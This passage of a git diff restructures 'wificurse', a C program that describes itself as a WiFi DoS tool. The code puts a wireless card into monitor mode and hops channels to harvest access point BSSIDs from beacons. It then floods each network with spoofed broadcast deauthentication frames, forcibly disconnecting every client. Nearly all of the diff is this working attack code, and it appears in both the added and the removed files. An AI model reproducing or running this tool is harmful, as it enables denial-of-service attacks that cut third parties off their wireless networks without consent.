dev->ifname); + + /* enable promiscuous mode */ + memset(&mreq, 0, sizeof(mreq)); + mreq.mr_ifindex = dev->ifindex; + mreq.mr_type = PACKET_MR_PROMISC; + if (setsockopt(fd, SOL_PACKET, PACKET_ADD_MEMBERSHIP, &mreq, sizeof(mreq)) < 0) + return_error("setsockopt(PACKET_MR_PROMISC)"); + + return 0; +} + +void iw_close(struct dev *dev) { + struct ifreq ifr; + + if (dev->fd == -1) + return; + + /* set interface down (ifr_flags = 0) */ + memset(&ifr, 0, sizeof(ifr)); + strncpy(ifr.ifr_name, dev->ifname, sizeof(ifr.ifr_name)-1); + ioctl(dev->fd, SIOCSIFFLAGS, &ifr); + /* restore old mode */ + ioctl(dev->fd, SIOCSIWMODE, &dev->old_mode); + /* restore old flags */ + ioctl(dev->fd, SIOCSIFFLAGS, &dev->old_flags); + close(dev->fd); +} + +ssize_t iw_write(int fd, void *buf, size_t count) { + unsigned char *pbuf, *pkt; + struct radiotap_hdr *rt_hdr; + struct write_radiotap_data *w_rt_data; + ssize_t r; + + pbuf = malloc(sizeof(*rt_hdr) + sizeof(*w_rt_data) + count); + if (pbuf == NULL) + return_error("malloc"); + + rt_hdr = (struct radiotap_hdr*)pbuf; + w_rt_data = (struct write_radiotap_data*)(pbuf + sizeof(*rt_hdr)); + pkt = pbuf + sizeof(*rt_hdr) + sizeof(*w_rt_data); + + /* radiotap header */ + memset(rt_hdr, 0, sizeof(*rt_hdr)); + rt_hdr->len = sizeof(*rt_hdr) + sizeof(*w_rt_data); + rt_hdr->present = RADIOTAP_F_PRESENT_RATE | RADIOTAP_F_PRESENT_TX_FLAGS; + /* radiotap fields */ + memset(w_rt_data, 0, sizeof(*w_rt_data)); + w_rt_data->rate = 2; /* 1 Mb/s */ + w_rt_data->tx_flags = RADIOTAP_F_TX_FLAGS_NOACK | RADIOTAP_F_TX_FLAGS_NOSEQ; + /* packet */ + memcpy(pkt, buf, count); + + r = send(fd, pbuf, rt_hdr->len + count, 0); + if (r < 0) { + free(pbuf); + return_error("send"); + } + + r -= rt_hdr->len; + free(pbuf); + + return r > 0 ? r : ERRAGAIN; +} + +ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz) { + struct radiotap_hdr *rt_hdr; + int r; + + /* read packet */ + r = recv(fd, buf, count, 0); + if (r < 0) + return_error("recv"); + + rt_hdr = buf; + if (sizeof(*rt_hdr) >= r || rt_hdr->len >= r) + return ERRNODATA; + + *pkt = buf + rt_hdr->len; + *pkt_sz = r - rt_hdr->len; + + return r; +} + +int iw_can_change_channel(struct dev *dev) { + struct iwreq iwr; + ssize_t ret; + + /* set channel */ + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.freq.flags = IW_FREQ_FIXED; + iwr.u.freq.m = 1; + + if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + return 0; + if (ioctl(dev->fd, SIOCGIWFREQ, &iwr) < 0) + return 0; + + /* channel 1 frequency is 2412 */ + return iwr.u.freq.m == 2412; +} + +int iw_set_channel(struct dev *dev, int chan) { + struct iwreq iwr; + ssize_t ret; + + /* discard packets that are in kernel packet queue */ + ret = 0; + while (ret != -1) + ret = recv(dev->fd, NULL, 0, MSG_DONTWAIT); + + /* set channel */ + memset(&iwr, 0, sizeof(iwr)); + strncpy(iwr.ifr_name, dev->ifname, sizeof(iwr.ifr_name)-1); + iwr.u.freq.flags = IW_FREQ_FIXED; + iwr.u.freq.m = chan; + if (ioctl(dev->fd, SIOCSIWFREQ, &iwr) < 0) + return_error("ioctl(SIOCSIWFREQ)"); + dev->chan = chan; + + return 0; +} diff --git a/src/iw.h b/src/iw.h @@ -0,0 +1,52 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef IW_H +#define IW_H + +#include <stdint.h> +#include "dev.h" + + +struct radiotap_hdr { + uint8_t version; + uint8_t pad; + uint16_t len; + uint32_t present; +} __attribute__((__packed__)); + +struct write_radiotap_data { + uint8_t rate; + uint8_t pad; + uint16_t tx_flags; +} __attribute__((__packed__)); + +#define RADIOTAP_F_PRESENT_RATE (1<<2) +#define RADIOTAP_F_PRESENT_TX_FLAGS (1<<15) +#define RADIOTAP_F_TX_FLAGS_NOACK 0x0008 +#define RADIOTAP_F_TX_FLAGS_NOSEQ 0x0010 + + +int iw_open(struct dev *dev); +void iw_close(struct dev *dev); +ssize_t iw_write(int fd, void *buf, size_t count); +ssize_t iw_read(int fd, void *buf, size_t count, uint8_t **pkt, size_t *pkt_sz); +int iw_can_change_channel(struct dev *dev); +int iw_set_channel(struct dev *dev, int chan); + +#endif diff --git a/src/wificurse.c b/src/wificurse.c @@ -0,0 +1,219 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#include <stdio.h> +#include <stdlib.h> +#include <stdint.h> +#include <string.h> +#include <poll.h> +#include <signal.h> +#include "dev.h" +#include "iw.h" +#include "error.h" +#include "console.h" +#include "wificurse.h" + + +int send_deauth(int fd, uint8_t *ap_mac) { + struct mgmt_frame *deauth; + uint16_t *reason; + ssize_t r; + int i; + + deauth = malloc(sizeof(*deauth) + sizeof(*reason)); + if (deauth == NULL) + return_error("malloc"); + + memset(deauth, 0, sizeof(deauth)); + deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH; + /* broadcast mac (ff:ff:ff:ff:ff:ff) */ + memset(deauth->dest_mac, '\xff', IFHWADDRLEN); + memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN); + memcpy(deauth->bssid, ap_mac, IFHWADDRLEN); + reason = (uint16_t*)&deauth->frame_body; + /* reason 7: Class 3 frame received from nonassociated STA */ + *reason = htons(7); + + /* flood the network */ + for (i=0; i<128; i++) { + deauth->sc.sequence = i; + do { + r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)); + } while (r == ERRAGAIN); + if (r < 0) { + free(deauth); + return r; + } + usleep(1000); + } + + free(deauth); + + return 0; +} + +int read_bssid(int fd, uint8_t *bssid) { + uint8_t buf[256], *pkt; + size_t pkt_sz; + ssize_t r; + struct mgmt_frame *beacon; + + r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz); + if (r < 0) + return r; + + beacon = (struct mgmt_frame*)pkt; + + /* if it's a beacon packet */ + if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) { + memcpy(bssid, beacon->bssid, IFHWADDRLEN); + return 0; + } + + return ERRNODATA; +} + + +int main(int argc, char *argv[]) { + struct dev dev; + struct ap_list apl; + uint8_t bssid[IFHWADDRLEN]; + sigset_t exit_sig; + struct pollfd pfd[2]; + time_t tm1; + int chan, ret, sigfd; + + if (argc != 2) { + fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n"); + fprintf(stderr, " usage: wificurse <interface>\n\n"); + return EXIT_FAILURE; + } + + if (getuid()) { + fprintf(stderr, "Not root?\n"); + return EXIT_FAILURE; + } + + /* init access point list */ + init_ap_list(&apl); + + /* init signals */ + sigemptyset(&exit_sig); + sigaddset(&exit_sig, SIGINT); + sigaddset(&exit_sig, SIGTERM); + + if (sigprocmask(SIG_BLOCK, &exit_sig, NULL) < 0) { + err_msg("sigprocmask"); + return EXIT_FAILURE; + } + + sigfd = signalfd(-1, &exit_sig, 0); + if (sigfd < 0) { + err_msg("signalfd"); + return EXIT_FAILURE; + } + + pfd[0].fd = sigfd; + pfd[0].revents = 0; + pfd[0].events = POLLIN; + + /* init device */ + init_dev(&dev); + strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1); + + if (iw_open(&dev) < 0) { + print_error(); + goto _errout; + } + + if (!iw_can_change_channel(&dev)) { + fprintf(stderr, "%s can not change channels in monitor mode.\n" + "Maybe you need to patch your kernel with:\n" + " patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname); + goto _errout; + } + + pfd[1].fd = dev.fd; + pfd[1].revents = 0; + pfd[1].events = POLLIN; + + tm1 = time(NULL); + chan = 1; + + if (iw_set_channel(&dev, chan) < 0) { + print_error(); + goto _errout; + } + + clear_scr(); + update_scr(&apl, &dev); + + while (1) { + if (poll(pfd, 2, 0) < 0) { + err_msg("poll"); + goto _errout; + } + + if (pfd[0].revents & POLLIN) /* got SIGTERM or SIGINT */ + break; + + if (pfd[1].revents & POLLIN) { + ret = read_bssid(dev.fd, bssid); + if (ret < 0 && ret != ERRNODATA) { /* error */ + print_error(); + goto _errout; + } else if (ret == 0) { /* got BSSID */ + if (add_or_update_ap(&apl, bssid) < 0) { + print_error(); + goto _errout; + } + update_scr(&apl, &dev); + if (send_deauth(dev.fd, bssid) < 0) { + print_error(); + goto _errout; + } + } + } + + /* change channel every 3 seconds */ + if (time(NULL) - tm1 >= 3) { + int n = 0; + do { + chan = (chan % 13) + 1; + ret = iw_set_channel(&dev, chan); + /* if fails try next channel */ + } while(++n < 13 && ret < 0); + if (ret < 0) { + print_error(); + goto _errout; + } + clear_deauth(&apl); + update_scr(&apl, &dev); + tm1 = time(NULL); + } + } + + printf("\nExiting..\n"); + iw_close(&dev); + free_ap_list(&apl); + return EXIT_SUCCESS; +_errout: + iw_close(&dev); + free_ap_list(&apl); + return EXIT_FAILURE; +} diff --git a/src/wificurse.h b/src/wificurse.h @@ -0,0 +1,65 @@ +/* + wificurse - WiFi DoS tool + Copyright (C) 2012 oblique + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see <http://www.gnu.org/licenses/>. +*/ + +#ifndef WIFICURSE_H +#define WIFICURSE_H + +#include <stdint.h> +#include <linux/if.h> +#include "dev.h" + + +#define VERSION "0.2" + +struct frame_control { + uint8_t protocol_version:2; + uint8_t type:2; + uint8_t subtype:4; + uint8_t to_ds:1; + uint8_t from_ds:1; + uint8_t more_frag:1; + uint8_t retry:1; + uint8_t pwr_mgt:1; + uint8_t more_data:1; + uint8_t protected_frame:1; + uint8_t order:1; +} __attribute__((__packed__)); + +#define FRAME_CONTROL_SUBTYPE_DEAUTH 12 +#define FRAME_CONTROL_SUBTYPE_BEACON 8 + +struct sequence_control { + uint16_t fragment:4; + uint16_t sequence:12; +} __attribute__((__packed__)); + +struct mgmt_frame { + struct frame_control fc; + uint16_t duration; + uint8_t dest_mac[IFHWADDRLEN]; + uint8_t src_mac[IFHWADDRLEN]; + uint8_t bssid[IFHWADDRLEN]; + struct sequence_control sc; + uint8_t frame_body[]; +} __attribute__((__packed__)); + + +int send_deauth(int fd, uint8_t *ap_mac); +int read_bssid(int fd, uint8_t *bssid); + +#endif diff --git a/wificurse.c b/wificurse.c @@ -1,219 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#include <stdio.h> -#include <stdlib.h> -#include <stdint.h> -#include <string.h> -#include <poll.h> -#include <signal.h> -#include "dev.h" -#include "iw.h" -#include "error.h" -#include "console.h" -#include "wificurse.h" - - -int send_deauth(int fd, uint8_t *ap_mac) { - struct mgmt_frame *deauth; - uint16_t *reason; - ssize_t r; - int i; - - deauth = malloc(sizeof(*deauth) + sizeof(*reason)); - if (deauth == NULL) - return_error("malloc"); - - memset(deauth, 0, sizeof(deauth)); - deauth->fc.subtype = FRAME_CONTROL_SUBTYPE_DEAUTH; - /* broadcast mac (ff:ff:ff:ff:ff:ff) */ - memset(deauth->dest_mac, '\xff', IFHWADDRLEN); - memcpy(deauth->src_mac, ap_mac, IFHWADDRLEN); - memcpy(deauth->bssid, ap_mac, IFHWADDRLEN); - reason = (uint16_t*)&deauth->frame_body; - /* reason 7: Class 3 frame received from nonassociated STA */ - *reason = htons(7); - - /* flood the network */ - for (i=0; i<128; i++) { - deauth->sc.sequence = i; - do { - r = iw_write(fd, deauth, sizeof(*deauth) + sizeof(*reason)); - } while (r == ERRAGAIN); - if (r < 0) { - free(deauth); - return r; - } - usleep(1000); - } - - free(deauth); - - return 0; -} - -int read_bssid(int fd, uint8_t *bssid) { - uint8_t buf[256], *pkt; - size_t pkt_sz; - ssize_t r; - struct mgmt_frame *beacon; - - r = iw_read(fd, buf, sizeof(buf), &pkt, &pkt_sz); - if (r < 0) - return r; - - beacon = (struct mgmt_frame*)pkt; - - /* if it's a beacon packet */ - if (beacon->fc.subtype == FRAME_CONTROL_SUBTYPE_BEACON) { - memcpy(bssid, beacon->bssid, IFHWADDRLEN); - return 0; - } - - return ERRNODATA; -} - - -int main(int argc, char *argv[]) { - struct dev dev; - struct ap_list apl; - uint8_t bssid[IFHWADDRLEN]; - sigset_t exit_sig; - struct pollfd pfd[2]; - time_t tm1; - int chan, ret, sigfd; - - if (argc != 2) { - fprintf(stderr, "\n WiFi Curse v" VERSION " (C) 2012 oblique\n\n"); - fprintf(stderr, " usage: wificurse <interface>\n\n"); - return EXIT_FAILURE; - } - - if (getuid()) { - fprintf(stderr, "Not root?\n"); - return EXIT_FAILURE; - } - - /* init access point list */ - init_ap_list(&apl); - - /* init signals */ - sigemptyset(&exit_sig); - sigaddset(&exit_sig, SIGINT); - sigaddset(&exit_sig, SIGTERM); - - if (sigprocmask(SIG_BLOCK, &exit_sig, NULL) < 0) { - err_msg("sigprocmask"); - return EXIT_FAILURE; - } - - sigfd = signalfd(-1, &exit_sig, 0); - if (sigfd < 0) { - err_msg("signalfd"); - return EXIT_FAILURE; - } - - pfd[0].fd = sigfd; - pfd[0].revents = 0; - pfd[0].events = POLLIN; - - /* init device */ - init_dev(&dev); - strncpy(dev.ifname, argv[1], sizeof(dev.ifname)-1); - - if (iw_open(&dev) < 0) { - print_error(); - goto _errout; - } - - if (!iw_can_change_channel(&dev)) { - fprintf(stderr, "%s can not change channels in monitor mode.\n" - "Maybe you need to patch your kernel with:\n" - " patches/cfg80211_monitor_mode_channel_fix.patch\n", dev.ifname); - goto _errout; - } - - pfd[1].fd = dev.fd; - pfd[1].revents = 0; - pfd[1].events = POLLIN; - - tm1 = time(NULL); - chan = 1; - - if (iw_set_channel(&dev, chan) < 0) { - print_error(); - goto _errout; - } - - clear_scr(); - update_scr(&apl, &dev); - - while (1) { - if (poll(pfd, 2, 0) < 0) { - err_msg("poll"); - goto _errout; - } - - if (pfd[0].revents & POLLIN) /* got SIGTERM or SIGINT */ - break; - - if (pfd[1].revents & POLLIN) { - ret = read_bssid(dev.fd, bssid); - if (ret < 0 && ret != ERRNODATA) { /* error */ - print_error(); - goto _errout; - } else if (ret == 0) { /* got BSSID */ - if (add_or_update_ap(&apl, bssid) < 0) { - print_error(); - goto _errout; - } - update_scr(&apl, &dev); - if (send_deauth(dev.fd, bssid) < 0) { - print_error(); - goto _errout; - } - } - } - - /* change channel every 3 seconds */ - if (time(NULL) - tm1 >= 3) { - int n = 0; - do { - chan = (chan % 13) + 1; - ret = iw_set_channel(&dev, chan); - /* if fails try next channel */ - } while(++n < 13 && ret < 0); - if (ret < 0) { - print_error(); - goto _errout; - } - clear_deauth(&apl); - update_scr(&apl, &dev); - tm1 = time(NULL); - } - } - - printf("\nExiting..\n"); - iw_close(&dev); - free_ap_list(&apl); - return EXIT_SUCCESS; -_errout: - iw_close(&dev); - free_ap_list(&apl); - return EXIT_FAILURE; -} diff --git a/wificurse.h b/wificurse.h @@ -1,65 +0,0 @@ -/* - wificurse - WiFi DoS tool - Copyright (C) 2012 oblique - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see <http://www.gnu.org/licenses/>. -*/ - -#ifndef WIFICURSE_H -#define WIFICURSE_H - -#include <stdint.h> -#include <linux/if.h> -#include "dev.h" - - -#define VERSION "0.2" - -struct frame_control { - uint8_t protocol_version:2; - uint8_t type:2; - uint8_t subtype:4; - uint8_t to_ds:1; - uint8_t from_ds:1; - uint8_t more_frag:1; - uint8_t retry:1; - uint8_t pwr_mgt:1; - uint8_t more_data:1; - uint8_t protected_frame:1; - uint8_t order:1; -} __attribute__((__packed__)); - -#define FRAME_CONTROL_SUBTYPE_DEAUTH 12 -#define FRAME_CONTROL_SUBTYPE_BEACON 8 - -struct sequence_control { - uint16_t fragment:4; - uint16_t sequence:12; -} __attribute__((__packed__)); - -struct mgmt_frame { - struct frame_control fc; - uint16_t duration; - uint8_t dest_mac[IFHWADDRLEN]; - uint8_t src_mac[IFHWADDRLEN]; - uint8_t bssid[IFHWADDRLEN]; - struct sequence_control sc; - uint8_t frame_body[]; -} __attribute__((__packed__)); - - -int send_deauth(int fd, uint8_t *ap_mac); -int read_bssid(int fd, uint8_t *bssid); - -#endif